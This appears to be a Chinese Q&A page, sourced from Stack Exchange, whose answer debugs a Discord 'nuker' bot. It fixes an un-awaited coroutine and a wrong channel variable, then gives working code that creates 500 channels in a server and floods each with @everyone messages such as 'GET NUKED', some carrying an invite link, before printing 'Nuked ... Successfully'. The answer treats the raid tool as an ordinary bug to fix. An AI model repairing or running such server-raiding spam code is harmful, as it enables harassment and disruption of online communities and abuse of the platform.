You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

RuntimeWarning: coroutine 'spam'未被等待及Discord机器人功能修复求助

修复Discord机器人垃圾消息发送的异步警告与功能失效问题

核心问题修复:异步函数未使用await

出现RuntimeWarning: coroutine 'spam' was never awaited的直接原因是调用异步函数spam时未加await关键字,协程不会被执行,自然无法发送消息。修改调用方式:

# 错误写法
spam(channel)
# 正确写法
await spam(new_channel)

修复频道变量指向错误

你当前代码中,创建新频道后调用spam(channel),但channel是之前遍历guild.text_channels的最后一个频道,并非刚创建的新频道,导致消息发错位置或无效果。需要保存创建频道的返回实例:

# 创建频道并保存实例
new_channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
# 将新频道传给spam函数
await spam(new_channel)

另外,代码中第一个for channel in guild.text_channels:循环完全冗余(仅处理日期变量,无实际操作),直接删除即可。

解决on_guild_channel_create的旧问题

之前用该事件时会触发所有类型频道的创建(包括语音频道),导致报错。只需在事件中判断频道类型为文本频道再执行逻辑:

@client.event
async def on_guild_channel_create(channel):
    # 仅处理文本频道
    if isinstance(channel, discord.TextChannel):
        await spam(channel)

代码优化建议

  1. 避免重复读取JSON文件:每次循环都读words.json会增加IO开销,提前读取一次即可:
# 在函数外提前读取names
with open("words.json", "r") as f:
    names = json.load(f)

# 把names作为参数传入spam函数,避免使用global
async def spam(channel, names):
    # 后续直接使用names
  1. 简化日期格式化:不用多次split字符串,直接用strftime格式化时间:
from datetime import datetime
# 获取当前时间的时分秒部分
date = datetime.now().strftime("%H:%M:%S")

修改后的关键代码片段

amount = 500
# 提前读取JSON数据
with open("words.json", "r") as f:
    names = json.load(f)

for i in range(amount):
    try:
        new_channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
        await spam(new_channel, names)
    except Exception as e:
        current_time = datetime.now().strftime("%H:%M:%S")
        print(f"{c.YELLOW}[{current_time}]{c.RED} 创建频道失败: {e}")

current_time = datetime.now().strftime("%H:%M:%S")
print(f"{c.YELLOW}[{current_time}]{c.GREEN} Nuked {guild.name} Successfully.")
return

async def spam(channel, names):
    for i in range(15):
        try:
            SPAM_MESSAGE = [
                "@everyone LOL GET NUKED :skull::skull:",
                "@everyone LOL IMAGINE GETTING NUKED :skull::skull:",
                "lol hahaha get nuked",
                f"im {random.choice(names)}",
                f"Lol this is so random like {random.choice(names)}#{random.randint(1, 1000)} :skull:",
                f"Made By {random.choice(names)}!",
            ]
            msg = random.choice(SPAM_MESSAGE)
            await channel.send(msg)
            current_time = datetime.now().strftime("%H:%M:%S")
            print(f"{c.YELLOW}[{current_time}]{c.GREEN} 成功发送消息: {msg}")
        except Exception as e:
            SPAM_MESSAGE = [
                "@everyone LOL GET NUKED JOIN https://dsc.gg/pythondevs",
                "@everyone LOL IMAGINE GETTING NUKED :skull::skull:",
                "@everyone https://dsc.gg/pythondevs",
                f"@everyone im {random.choice(names)}",
                f"@everyone Lol this is so random like {random.choice(names)}!{random.randint(1000, 10000)}",
                f"@everyone Made By {random.choice(names)}!",
            ]
            msg = random.choice(SPAM_MESSAGE)
            current_time = datetime.now().strftime("%H:%M:%S")
            print(f"{c.YELLOW}[{current_time}]{c.RED} 发送消息失败: {msg} 错误: {e}")

内容的提问来源于stack exchange,提问作者NeedlessPage819

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.31 05:36:27